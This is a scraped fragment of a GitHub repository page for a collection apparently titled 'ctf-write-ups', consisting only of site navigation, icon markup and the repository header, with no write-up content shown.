2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="142745576" data-scoped-search-url="/0n3m4ns4rmy/ctf-write-ups/search" data-owner-scoped-search-url="/users/0n3m4ns4rmy/search" data-unscoped-search-url="/search" data-turbo="false" action="/0n3m4ns4rmy/ctf-write-ups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="K7wLRiDimiJeIbBA8ko/wUIQkELoNTH7MymSQWqZQEggWM46zK95Z4JTu/OP53+MTeRCRR3mhIy2Bjnj5ZKuwg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> 0n3m4ns4rmy </span> <span>/</span> ctf-write-ups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 